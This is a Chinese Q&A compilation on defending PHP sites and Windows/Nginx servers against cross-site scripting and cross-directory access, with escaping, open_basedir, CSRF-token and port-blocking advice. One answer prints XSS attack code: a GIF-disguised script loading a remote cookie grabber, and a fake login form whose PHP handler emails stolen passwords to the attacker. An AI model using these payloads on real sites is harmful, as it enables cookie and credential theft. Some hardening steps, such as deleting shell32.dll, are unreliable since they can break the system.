當前位置:首頁 » 編程語言 » php防跨站

php防跨站

發布時間: 2023-01-02 22:49:40

php網站怎樣解決跨站腳本攻擊漏洞

這應該是一套開源的CMS系統,每套CMS系統源碼不一樣,但是只要發現$_GET,$_REQUEST這樣的代碼,都可以改成$out = htmlspecialchars($_GET[XXX],ENT_QUOTES)

⑵ php配置防跨站、防跨目錄安全

現在很多網站都是採用php建站,不少都是直接使用現在成熟的cms程序,這些php開發的cms系統本身安全性可能並不高,這時就需要我們在伺服器做一些針對php程序配置防跨站、防跨目錄等一些設置,可以有效的防止伺服器上所有的php網站被惡意篡改。
適用范圍及演示系統
適用范圍:php5.3及以上版本
演示系統:centos
防跨站、防跨目錄安全設置方法
第1步:登錄到linux系統終端。
第2步:找到並打開php配置文件。
第3步:在php.ini最底部添加以下代碼,並保存。大家可就按以下代碼改成自己網站的配置即可。
[HOST=www.45it.com]
open_basedir=/wwwroot/www.45it.com/:/tmp/
[PATH=/wwwroot/www.45it.com]
open_basedir=/wwwroot/www.45it.com/:/tmp/
註:就如上代碼添加完之後就是防跨站防跨目錄的安全配置了,但是有一些缺點,就是比如說我們運行一些php探針等一些程序可能就是無法正常運行了,如果想讓網站正常運行php探針的話需要在/tmp/後加上:/proc/
第4步:添加完代碼並保存php.ini,之後重啟php服務即可生效。

⑶ thinkphp怎麼防止跨站請求

TP當中有一個叫 「表單令牌" 的東西,再每個表單中插入 表單令牌, 可以令網站避免csrf請求。

⑷ if ( ! defined('BASEPATH')) exit('No direct script access allowed');

保護php文件,防止跨站攻擊直接訪問該文件路徑,如果直接訪問,會得到不允許直接訪問腳本的一個提示.

⑸ 跨站攻擊的如何防範

在你的WEB瀏覽器上禁用java腳本,具體方法,先打開你的IE的internet選項,切換到「安全」頁,有個「自定義」級別,點他出現如下窗口,禁用就可以了。但是好象不太可能,因為一旦禁用,很多功能就喪失了,這個方法是下策。
還有不要訪問包含〈〉字元的連接,當然一些官方的URL不會包括任何腳本元素。
如果你的站點程序含論壇,留言板,以及其他程序中含提交數據格式的,沒有很好過濾機制,請馬上下載升級程序或是停止使用ubb這樣的功能,避免造成更多的問題。
跨站腳本執行漏洞的成因,形式,危害,利用方式,隱藏技巧 這里所說的形式,實際上是指CGI輸入的形式,主要分為兩種:
1.顯示輸入
2.隱式輸入
其中顯示輸入明確要求用戶輸入數據,而隱式輸入則本來並不要求用戶輸入數據,但是用戶卻可以通過輸入數據來進行干涉。
顯示輸入又可以分為兩種:
1. 輸入完成立刻輸出結果
2. 輸入完成先存儲在文本文件或資料庫中,然後再輸出結果
注意:後者可能會讓你的網站面目全非!
而隱式輸入除了一些正常的情況外,還可以利用伺服器或CGI程序處理錯誤信息的方式來實施。 大家最關心的大概就要算這個問題了,下面列舉的可能並不全面,也不系統,但是我想應該是比較典型的吧。
1. 獲取其他用戶Cookie中的敏感數據
2. 屏蔽頁面特定信息
3. 偽造頁面信息
4.拒絕服務攻擊
5. 突破外網內網不同安全設置
6. 與其它漏洞結合,修改系統設置,查看系統文件,執行系統命令等
7. 其它
一般來說,上面的危害還經常伴隨著頁面變形的情況。而所謂跨站腳本執行漏洞,也就是通過別人的網站達到攻擊的效果,也就是說,這種攻擊能在一定程度上隱藏身份。 出於時間的考慮,我在這里將主要講一下理論了,相信不是很難懂,如果實在有問題,那麼去找本書看吧。
1. URL編碼
比較一下:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你覺得哪個更有隱蔽性?!
2. 隱藏在其它對象之下
與直接給別人一個鏈接相比,你是否決定把該鏈接隱藏在按鈕以下更好些呢?
3. 嵌入頁面中
讓別人訪問一個地址(注意這里的地址不同於上面提到的URL),是不是又要比讓別人按一個按鈕容易得多,藉助於Iframe,你可以把這種攻擊變得更隱蔽。
4. 合理利用事件
合理使用事件,在某些情況上可以繞過CGI程序對輸入的限制,比如說前些日子的SecurityFocus的跨站腳本執行漏洞。 一般情況下直接進行類似alert(document.cookie)之類的攻擊沒有什麼問題,但是有時 CGI程序對用戶的輸入進行了一些處理,比如說包含在』』或」」之內,這時我們就需要使用一些小技巧來繞過這些限制。
如果你對HTML語言比較熟悉的話,繞過這些限制應該不成問題。 要避免受到跨站腳本執行漏洞的攻擊,需要程序員和用戶兩方面共同努力:
程序員:
1. 過濾或轉換用戶提交數據中的HTML代碼
2. 限制用戶提交數據的長度
用戶:
1. 不要輕易訪問別人給你的鏈接
2. 禁止瀏覽器運行JavaScript和ActiveX代碼
附:常見瀏覽器修改設置的位置為:
Internet Explorer:
工具->Internet選項->安全->Internet->自定義級別
工具->Internet選項->安全->Intranet->自定義級別
Opera:>文件->快速參數->允許使用Java
文件->快速參數->允許使用插件
文件->快速參數->允許使用JavaScript Q:跨站腳本執行漏洞在哪裡存在?
A:只要是CGI程序,只要允許用戶輸入,就可能存在跨站腳本執行漏洞。
Q:跨站腳本執行漏洞是不是只能偷別人的Cookie?
A:當然不是!HTML代碼能做的,跨站腳本執行漏洞基本都能做。
解決 ubuntu server 的跨站攻擊
apache 默認開啟了TRACE功能(TraceEnable=on),Ubuntu Server也不例外。用x-scan掃描發現此功能存在存在跨站攻擊漏洞,並且提出了解決辦法,在配置文件中添加如下語句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
問題是不知道該放那裡,找一天都沒發現。嘗試在/etc/apache2/httpd.conf里添加,怎麼都沒反應。網上一般就是打開虛擬機的 AllowOverride,然後在.htaccess文件中添加。但整個配置文件都可以修改,沒理由要這樣做......奇跡就發生在重啟的瞬間,竟然連不上伺服器。跑到實驗室發現,重啟正常,無奈之下竟發現還有一個sites-available的目錄,裡面的default文件才是所謂的配置文件,汗死...
添加後可通過 telnet 127.0.0.1 80 確認是否修復該漏洞,輸入:
TRACE / HTTP/1.1
Host: 202.192.33.250
X-Header: test
回車後返回:
HTTP/1.1 403 Forbidden
Date: Sun, 08 Oct 2006 11:32:11 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.2
(註:windows的telnet默認沒有打開輸入回顯) 舉個例子,我們來新建一個hack.gif文件.然後用記事本打開文件,刪除所有的內容,然後寫入代碼
GIF89a<script>alert(XSS)</script>
保存退出.
上傳hack.gif到相就的地方...此時跨站發生
不要用Mozillia Firefox來訪問那張圖片,Mozillia 不會執行我們的alert.要用Internet explorer.
為什麼添加GIF89a ?
因為很多上傳程序會來檢查我們的gif文件是否包含 'GIF89a',如果包括則認為是gif文件.
code:GIF89a<script src=http://lovelaozang.cn/cookiegrabber.php></script>
我們需要知道一些其它格式圖片,頭部所包含的代碼.
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
為了安全不要僅僅只檢查getimagesize() 你是否明白什麼是釣魚?什麼是XSS?
在這個例子里,有必需找到一個易受攻擊的網站去XSS並注入那裡,身於一種形式,以自己直接在網址以下代碼
code:
<p>Enter your login and password, thank:</p>
<form action=http://hax0r.com/mail.php>
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
這個通過這個模仿的表單,然後利用mail.php通過電子郵件把表單里的數據發送給你。
code:
<!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd>
<html xmlns=http://www.w3.org/1999/xhtml>
<head>
<meta http-equiv=Content-Type content=text/html; charset=iso-8859-1 />
<title>Error</title>
<style type=text/css>
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS[login];
$password = $HTTP_GET_VARS[password];
mail([email protected], Cookie stealed ! - thx xyli :), $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>

⑹ 如何防止跨站攻擊~~~

除了自身的硬體條件外,還需要對你的伺服器做出安全設置控制,用2003系統來說下具體安全設置如下:
1、伺服器安全設置之--硬碟許可權篇

這里著重談需要的許可權,也就是最終文件夾或硬碟需要的許可權,可以防禦各種木馬入侵,提權攻擊,跨站攻擊等。本實例經過多次試驗,安全性能很好,伺服器基本沒有被木馬威脅的擔憂了。

硬碟或文件夾: C:\ D:\ E:\ F:\ 類推
主要許可權部分:
Administrators 完全控制 無
該文件夾,子文件夾及文件
<不是繼承的>
CREATOR OWNER 完全控制
只有子文件夾及文件
<不是繼承的>
SYSTEM 完全控制
該文件夾,子文件夾及文件
<不是繼承的>

其他許可權部分:
如果安裝了其他運行環境,比如PHP等,則根據PHP的環境功能要求來設置硬碟許可權,一般是安裝目錄加上users讀取運行許可權就足夠了,比如c:\php的話,就在根目錄許可權繼承的情況下加上users讀取運行許可權,需要寫入數據的比如tmp文件夾,則把users的寫刪許可權加上,運行許可權不要,然後把虛擬主機用戶的讀許可權拒絕即可。如果是mysql的話,用一個獨立用戶運行MYSQL會更安全,下面會有介紹。如果是winwebmail,則最好建立獨立的應用程序池和獨立IIS用戶,然後整個安裝目錄有users用戶的讀/運行/寫/許可權,IIS用戶則相同,這個IIS用戶就只用在winwebmail的WEB訪問中,其他IIS站點切勿使用
硬碟設置需要根據你的實際需要來設置許可權!
2、伺服器安全設置之--系統服務篇(設置完畢需要重新啟動)

*除非特殊情況非開不可,下列系統服務要停止並禁用:
1、Alerter 2、Application Layer Gateway Service 3、
Background Intelligent Transfer Service
4、Computer Browser 5、Distributed File System 6、Help and Support 7、Messenger 8、NetMeeting Remote Desktop Sharing 9、Print Spooler 10、Remote Registry 11、Task Scheler 12、TCP/IP NetBIOS Helper 13、Telnet 14、Workstation 以上是windows2003server標准服務當中需要停止的服務,作為IIS網路伺服器,以上服務務必要停止,如果需要SSL證書服務,則設置方法不同。如果你裝有虛擬主機系統,設置當然也不一樣!更詳細設置可以根據自己的需要找更詳細的參考資料。

3、伺服器安全設置之--組件安全設置篇 (非常重要!!!)
A、卸載WScript.Shell 和 Shell.application 組件,將下面的代碼保存為一個.BAT文件執行(分2000和2003系統)
win2000
regsvr32/u C:\WINNT\System32\wshom.ocx
del C:\WINNT\System32\wshom.ocx
regsvr32/u C:\WINNT\system32\shell32.dll
del C:\WINNT\system32\shell32.dll
win2003
regsvr32/u C:\WINDOWS\System32\wshom.ocx
del C:\WINDOWS\System32\wshom.ocx
regsvr32/u C:\WINDOWS\system32\shell32.dll
del C:\WINDOWS\system32\shell32.dll
B、改名不安全組件,需要注意的是組件的名稱和Clsid都要改,並且要改徹底了,不要照抄,要自己改
【開始→運行→regedit→回車】打開注冊表編輯器

然後【編輯→查找→填寫Shell.application→查找下一個】

用這個方法能找到兩個注冊表項:

{13709620-C279-11CE-A49E-444553540000} 和 Shell.application 。

第一步:為了確保萬無一失,把這兩個注冊表項導出來,保存為xxxx.reg 文件。

第二步:比如我們想做這樣的更改

13709620-C279-11CE-A49E-444553540000 改名為 13709620-C279-11CE-A49E-444553540001

Shell.application 改名為 Shell.application_nohack

第三步:那麼,就把剛才導出的.reg文件里的內容按上面的對應關系替換掉,然後把修改好的.reg文件導入到注冊表中(雙擊即可),導入了改名後的注冊表項之後,別忘記了刪除原有的那兩個項目。這里需要注意一點,Clsid中只能是十個數字和ABCDEF六個字母。

其實,只要把對應注冊表項導出來備份,然後直接改鍵名就可以了。
WScript.Shell 和 Shell.application 組件是 腳本入侵過程中,提升許可權的重要環節,這兩個組件的卸載和修改對應注冊鍵名,可以很大程度的提高虛擬主機的腳本安全性能,一般來說,ASP和php類腳本提升許可權的功能是無法實現了,再加上一些系統服務、硬碟訪問許可權、埠過濾、本地安全策略的設置,虛擬主機因該說,安全性能有非常大的提高,黑客入侵的可能性是非常低了。注銷了Shell組件之後,侵入者運行提升工具的可能性就很小了,但是prel等別的腳本語言也有shell能力,為防萬一,還是設置一下為好。下面是另外一種設置,大同小異。
一、禁止使用FileSystemObject組件
FileSystemObject可以對文件進行常規操作,可以通過修改注冊表,將此組件改名,來防止此類木馬的危害。

HKEY_CLASSES_ROOT\Scripting.FileSystemObject\

改名為其它的名字,如:改為 FileSystemObject_ChangeName

自己以後調用的時候使用這個就可以正常調用此組件了

也要將clsid值也改一下

HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\項目的值

也可以將其刪除,來防止此類木馬的危害。

2000注銷此組件命令:RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll

2003注銷此組件命令:RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll

如何禁止Guest用戶使用scrrun.dll來防止調用此組件?

使用這個命令:cacls C:\WINNT\system32\scrrun.dll /e /d guests

二、禁止使用WScript.Shell組件

WScript.Shell可以調用系統內核運行DOS基本命令

可以通過修改注冊表,將此組件改名,來防止此類木馬的危害。

HKEY_CLASSES_ROOT\WScript.Shell\及HKEY_CLASSES_ROOT\WScript.Shell.1\

改名為其它的名字,如:改為WScript.Shell_ChangeName 或 WScript.Shell.1_ChangeName

自己以後調用的時候使用這個就可以正常調用此組件了

也要將clsid值也改一下

HKEY_CLASSES_ROOT\WScript.Shell\CLSID\項目的值

HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\項目的值

也可以將其刪除,來防止此類木馬的危害。

三、禁止使用Shell.Application組件

Shell.Application可以調用系統內核運行DOS基本命令

可以通過修改注冊表,將此組件改名,來防止此類木馬的危害。

HKEY_CLASSES_ROOT\Shell.Application\



HKEY_CLASSES_ROOT\Shell.Application.1\

改名為其它的名字,如:改為Shell.Application_ChangeName 或 Shell.Application.1_ChangeName

自己以後調用的時候使用這個就可以正常調用此組件了

也要將clsid值也改一下

HKEY_CLASSES_ROOT\Shell.Application\CLSID\項目的值

HKEY_CLASSES_ROOT\Shell.Application\CLSID\項目的值

也可以將其刪除,來防止此類木馬的危害。

禁止Guest用戶使用shell32.dll來防止調用此組件。

2000使用命令:cacls C:\WINNT\system32\shell32.dll /e /d guests
2003使用命令:cacls C:\WINDOWS\system32\shell32.dll /e /d guests

註:操作均需要重新啟動WEB服務後才會生效。

四、調用Cmd.exe

禁用Guests組用戶調用cmd.exe

2000使用命令:cacls C:\WINNT\system32\Cmd.exe /e /d guests
2003使用命令:cacls C:\WINDOWS\system32\Cmd.exe /e /d guests

通過以上四步的設置基本可以防範目前比較流行的幾種木馬,但最有效的辦法還是通過綜合安全設置,將伺服器、程序安全都達到一定標准,才可能將安全等級設置較高,防範更多非法入侵。

C、防止Serv-U許可權提升 (適用於 Serv-U6.0 以前版本,之後可以直接設置密碼)
先停掉Serv-U服務

用Ultraedit打開ServUDaemon.exe

查找 Ascii:LocalAdministrator 和 #l@$ak#.lk;0@P

修改成等長度的其它字元就可以了,ServUAdmin.exe也一樣處理。

另外注意設置Serv-U所在的文件夾的許可權,不要讓IIS匿名用戶有讀取的許可權,否則人家下走你修改過的文件,照樣可以分析出你的管理員名和密碼。

4、伺服器安全設置之--IIS用戶設置方法
不同站點使用不用的IIS用戶。另外許可權的設置要細致。
5、伺服器安全設置之--伺服器安全和性能配置
把下面文本保存為: windows2000-2003伺服器安全和性能注冊表自動配置文件.reg 運行即可。[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRecentDocsMenu"=hex:01,00,00,00
"NoRecentDocsHistory"=hex:01,00,00,00

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"DontDisplayLastUserName"="1"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"restrictanonymous"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\Parameters]
"AutoShareServer"=dword:00000000
"AutoShareWks"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"EnableICMPRedirect"=dword:00000000
"KeepAliveTime"=dword:000927c0
"SynAttackProtect"=dword:00000002
"TcpMaxHalfOpen"=dword:000001f4
"TcpMaxHalfOpenRetried"=dword:00000190
""=dword:00000001
"TcpMaxDataRetransmissions"=dword:00000003
"TCPMaxPortsExhausted"=dword:00000005
"DisableIPSourceRouting"=dword:00000002
"TcpTimedWaitDelay"=dword:0000001e
"TcpNumConnections"=dword:00004e20
"EnablePMTUDiscovery"=dword:00000000
"NoNameReleaseOnDemand"=dword:00000001
"EnableDeadGWDetect"=dword:00000000
"PerformRouterDiscovery"=dword:00000000
"EnableICMPRedirects"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
"BacklogIncrement"=dword:00000005
"MaxConnBackLog"=dword:000007d0

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters]
"EnableDynamicBacklog"=dword:00000001
"MinimumDynamicBacklog"=dword:00000014
"MaximumDynamicBacklog"=dword:00007530
"DynamicBacklogGrowthDelta"=dword:0000000a
功能:可抵禦DDOS攻擊2-3萬包,提高伺服器TCP-IP整體安全性能(效果等於軟體防火牆,節約了系統資源)
6、伺服器安全設置之--IP安全策略 (僅僅列出需要屏蔽或阻止的埠或協議)

協議 IP協議埠 源地址 目標地址 描述 方式
ICMP -- -- -- ICMP 阻止
UDP 135 任何IP地址 我的IP地址 135-UDP 阻止
UDP 136 任何IP地址 我的IP地址 136-UDP 阻止
UDP 137 任何IP地址 我的IP地址 137-UDP 阻止
UDP 138 任何IP地址 我的IP地址 138-UDP 阻止
UDP 139 任何IP地址 我的IP地址 139-UDP 阻止
TCP 445 任何IP地址-從任意埠 我的IP地址-445 445-TCP 阻止
UDP 445 任何IP地址-從任意埠 我的IP地址-445 445-UDP 阻止
UDP 69 任何IP地址-從任意埠 我的IP地址-69 69-入 阻止
UDP 69 我的IP地址-69 任何IP地址-任意埠 69-出 阻止
TCP 4444 任何IP地址-從任意埠 我的IP地址-4444 4444-TCP 阻止
TCP 1026 我的IP地址-1026 任何IP地址-任意埠 灰鴿子-1026 阻止
TCP 1027 我的IP地址-1027 任何IP地址-任意埠 灰鴿子-1027 阻止
TCP 1028 我的IP地址-1028 任何IP地址-任意埠 灰鴿子-1028 阻止
UDP 1026 我的IP地址-1026 任何IP地址-任意埠 灰鴿子-1026 阻止
UDP 1027 我的IP地址-1027 任何IP地址-任意埠 灰鴿子-1027 阻止
UDP 1028 我的IP地址-1028 任何IP地址-任意埠 灰鴿子-1028 阻止
TCP 21 我的IP地址-從任意埠 任何IP地址-到21埠 阻止tftp出站 阻止
TCP 99 我的IP地址-99 任何IP地址-任意埠 阻止99shell 阻止

以上是IP安全策略里的設置,可以根據實際情況,增加或刪除埠
7、伺服器安全設置之--本地安全策略設置

安全策略自動更新命令:GPUpdate /force (應用組策略自動生效不需重新啟動)

開始菜單—>管理工具—>本地安全策略

A、本地策略——>審核策略

審核策略更改 成功 失敗
審核登錄事件 成功 失敗
審核對象訪問 失敗
審核過程跟蹤 無審核
審核目錄服務訪問 失敗
審核特權使用 失敗
審核系統事件 成功 失敗
審核賬戶登錄事件 成功 失敗
審核賬戶管理 成功 失敗
B、本地策略——>用戶許可權分配

關閉系統:只有Administrators組、其它全部刪除。
通過終端服務拒絕登陸:加入Guests、User組
通過終端服務允許登陸:只加入Administrators組,其他全部刪除

C、本地策略——>安全選項

互動式登陸:不顯示上次的用戶名 啟用
網路訪問:不允許SAM帳戶和共享的匿名枚舉 啟用
網路訪問:不允許為網路身份驗證儲存憑證 啟用
網路訪問:可匿名訪問的共享 全部刪除
網路訪問:可匿名訪問的命 全部刪除
網路訪問:可遠程訪問的注冊表路徑 全部刪除
網路訪問:可遠程訪問的注冊表路徑和子路徑 全部刪除
帳戶:重命名來賓帳戶 重命名一個帳戶
帳戶:重命名系統管理員帳戶 重命名一個帳戶

還有很多設置!你可以多找找資料!

⑺ 如何實現php的安全最大化怎樣避免sql注入漏洞和xss跨站腳本攻擊漏洞

使用php安全模式

伺服器要做好管理,賬號許可權是否合理。

假定所有用戶的輸入都是「惡意」的,防止XSS攻擊,譬如:對用戶的輸入輸出做好必要的過濾

防止CSRF,表單設置隱藏域,post一個隨機字元串到後台,可以有效防止跨站請求偽造。

文件上傳,檢查是否做好效驗,要注意上傳文件存儲目錄許可權。

防禦SQL注入。

避免SQL注入漏洞

1.使用預編譯語句

2.使用安全的存儲過程

3.檢查輸入數據的數據類型

4.從資料庫自身的角度考慮,應該使用最小許可權原則,不可使用root或dbowner的身份連接資料庫。若多個應用使用同一個資料庫,也應該為資料庫分配不同的賬戶。web應用使用的資料庫賬戶,不應該有創建自定義函數,操作本地文件的許可權。

避免XSS跨站腳本攻擊

1.假定所有用戶輸入都是「邪惡」的

2.考慮周全的正則表達式

3.為cookie設置HttpOnly,防止cookie劫持

4.外部js不一定可靠

5.出去不必要的HTML注釋

6. 針對非法的HTML代碼包括單雙引號等,使用htmlspecialchars()函數。

⑻ nginx現在有什麼方法防止跨站

Nginx防跨目錄與跨站配置方法

Nginx有一個缺陷,就是沒有像apache的php_value_basedir給我們限制php文件訪問目錄,PHP低版本下,fastcgi 模式
下open_base設置無效,PHP在PHP5.3.3以上已經增加了HOST配置,可以起到防跨站、跨目錄的問題
如果你是PHP 5.3.3以上的版本,可以修改/usr/local/php/etc/php.ini在末尾里加入:
[HOST=111cn.net]
代碼如下 復制代碼

open_basedir=/home/wwwroot/111cn.net/:/tmp/
[PATH=/home/wwwroot/111cn.net]
open_basedir=/home/wwwroot/111cn.net/:/tmp/

修改好了。
最後重啟下php-fpm:sudo /etc/init.d/php-fpm restart
OK,。這樣設置後。就能增強系統的安全性,PHP目前,折騰也只能在他所在的目錄下設置啦
如果你不是php5.3.3以上版本我們就只能如下操作了
1、解壓php源代碼不細說了。
2、執行編譯./configure -- (自帶參數)
3、修改源代碼。此文件位於main/fopen_wrappers.c
代碼如下 復制代碼

/* {{{ php_check_open_basedir
*/
PHPAPI int php_check_open_basedir_ex(const char *path, int warn TSRMLS_DC)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;
char *end;

char *env_doc_root;
if(PG(doc_root)){
env_doc_root = estrp(PG(doc_root));
}
else{
env_doc_root = sapi_getenv("DOCUMENT_ROOT", sizeof("DOCUMENT_ROOT")-1 TSRMLS_CC);
}
if(env_doc_root){
int res_root = php_check_specific_open_basedir(env_doc_root, path TSRMLS_CC);
efree(env_doc_root);
if (res_root == 0) {
return 0;
}
if (res_root == -2) {
errno = EPERM;
return -1;
}
}
// 添加的內容結束
pathbuf = estrp(PG(open_basedir));
ptr = pathbuf;
while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
*end = '';
end++;
}
if (php_check_specific_open_basedir(ptr, path TSRMLS_CC) == 0) {
efree(pathbuf);
return 0;
}
ptr = end;
}
if (warn) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "open_basedir restriction in effect. File(%s) is not
within the allowed path(s): (%s)", path, PG(open_basedir));
}
efree(pathbuf);
errno = EPERM; /* we deny permission to open it */
return -1;
}
/* Nothing to check... */
return 0;
}
/* }}} */

然後執行
代碼如下 復制代碼

make ZEND_EXTRA_LIBS='-liconv' make install
cp php.ini-dist /usr/local/php/etc/php.ini最後修改php.ini中的open_basedir改為:open_basedir =
"/var/tmp/:/tmp/"

⑼ 如何防止跨站點腳本攻擊

你好~
XSS漏洞產生的原因:

跨站點腳本的主要原因是程序猿對用戶的信任。開發人員輕松地認為用戶永遠不會試圖執行什麼出格的事情,所以他們創建應用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體,用製造出一種行之有效的XSS過濾器是一件比較困難的事情。
但是這只是相對的,對用戶輸入數據的」編碼」和」過濾」在任何時候都是很重要的,我們必須採取一些針對性的手段對其進行防禦。

如何創造一個良好的XSS過濾器來阻止大多數XSS攻擊代碼

1 .需要重點」編碼」和」過濾」的對象
The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
Document.referrer
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data

防禦XSS有一個原則:
以當前的應用系統為中心,所有的進入應用系統的數據都看成是輸入數據(包括從FORM表單或者從資料庫獲取到的數據),所有從當前應用系統流出的數據都看作是輸出(包括輸出到用戶瀏覽器或向資料庫寫入數據)
對輸入的數據進行」過濾」,對輸出數據進行」編碼」。這里的」編碼」也要注意,必須針對數據具體的上下文語境進行針對性的編碼。例如數據是輸出到HTML中的那就要進行HtmlEncode,如果數據是輸出到javascript代碼中進行拼接的,那就要進行javascriptEncode。
如果不搞清楚數據具體輸出的語境,就有可能因為HtmlParser()和javascriptParser()兩種解析引擎的執行先後問題導致看似嚴密的」編碼」形同虛設。

2. HtmlEncode HTML編碼
它的作用是將字元轉換成HTMLEntities,對應的標準是ISO-8859-1
為了對抗XSS,在HtmlEncode中要求至少轉換以下字元:
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
在PHP中:

htmlentities
http://www.w3school.com.cn/php/func_string_htmlentities.asp
htmlspecialchars
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
3. javascriptEncode javascript」編碼」
javascriptEncode與HtmlEncode的編碼方法不同,HtmlEncode是去編碼,而javascriptEncode更多的像轉義,它需要使用」\」對特殊字元進行轉義。從原理上來講,這都符合編碼函數的一個大原則: 將數據和代碼區分開,因為對於HTML Tag來說,我們對其進行」可視化(轉換成可以見字元)」的編碼可以將數據和HTML的界限分開。而對於javascript來說,我們除了要進行編碼之外,還需要對特殊字元進行轉義,這樣攻擊輸入的用於」閉合」的特殊字元就無法發揮作用,從而避免XSS攻擊,除此之外,在對抗XSS時,還要求輸出的變數必須在引號內部,以避免造成安全問題。
escape()
http://www.w3school.com.cn/js/jsref_escape.asp
該方法不會對 ASCII 字母和數字進行編碼,也不會對下面這些 ASCII 標點符號進行編碼: * @ – _ + . / 。其他所有的字元都會被轉義序列(十六進制\xHH)替換。
利用這個編碼函數,不僅能防禦XSS攻擊,還可以防禦一些command注入。

一些開源的防禦XSS攻擊的代碼庫:

PHP AntiXSS
這是一個不錯的PHP庫,可以幫助開發人員增加一層保護,防止跨站腳本漏洞。
https://code.google.com/p/php-antixss/
xss_clean.php filter
https://gist.github.com/mbijon/1098477
HTML Purifier
http://htmlpurifier.org/
xssprotect
https://code.google.com/p/xssprotect/
XSS HTML Filter
http://finn-no.github.io/xss-html-filter/

原文地址:http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/

希望可以幫助到你~望採納哦~謝謝~

⑽ php防止sql注入以及xss跨站腳本攻擊

1.post數據

封裝轉義函數 防sql注入  eag:addslashes($username);​addslashes($password);​ 

eag:防止sql注入函數封裝 

function deepslashes($data){

#判斷$data的表現形式 並且需要處理空的情況

if(empty($data)){

return($data);

}​

#高級簡寫 return is_array($data) ? array_map('deepslashes',$data) : addslashes($data);

#初級寫法​

if(is_array($data)){

#遞歸循環遍歷處理多維數組

foreach ($data as $v) {

return deepslashes($v);

}

}else{

#單一變數

return addslashes($data);

}

#初級寫法​​

}​

2.get數據​

指url 傳參數導致sql發生改變

解決方案​

①強制轉換,使用函數intval 或者 數據類型 的關鍵字int

②隱式轉換,通過運算,只需要+0即可​

3.xss跨站腳本攻擊​

​ 指惡意攻擊向web頁面插入html、js標簽導致頁面出現錯誤

解決方案

轉義標簽'<' '>'即可,有以下php函數可解決

htmlspecialchars 函數 和 htmlentites函數​

eag:

​function deepslashes($data){

#判斷$data的表現形式 並且需要處理空的情況

if(empty($data)){

return($data);

}​

return is_array($data) ? array_map('deepslashes',$data) : htmlspecialchars ($data);

}​

熱點內容
水電煤演算法 發布:2025-07-04 18:36:44 瀏覽:328
天翼視訊緩存文件夾 發布:2025-07-04 18:36:43 瀏覽:96
unix網路編程第2卷 發布:2025-07-04 18:33:41 瀏覽:780
編譯歷史 發布:2025-07-04 18:23:01 瀏覽:851
空調壓縮機種類 發布:2025-07-04 18:13:58 瀏覽:242
中國有ip6伺服器嗎 發布:2025-07-04 17:58:56 瀏覽:726
第六章編譯原理答案 發布:2025-07-04 17:37:55 瀏覽:40
php內存優化 發布:2025-07-04 17:25:54 瀏覽:664
威綸觸摸屏如何設置時間限制密碼 發布:2025-07-04 17:25:50 瀏覽:418
python列表的遍歷 發布:2025-07-04 17:24:20 瀏覽:24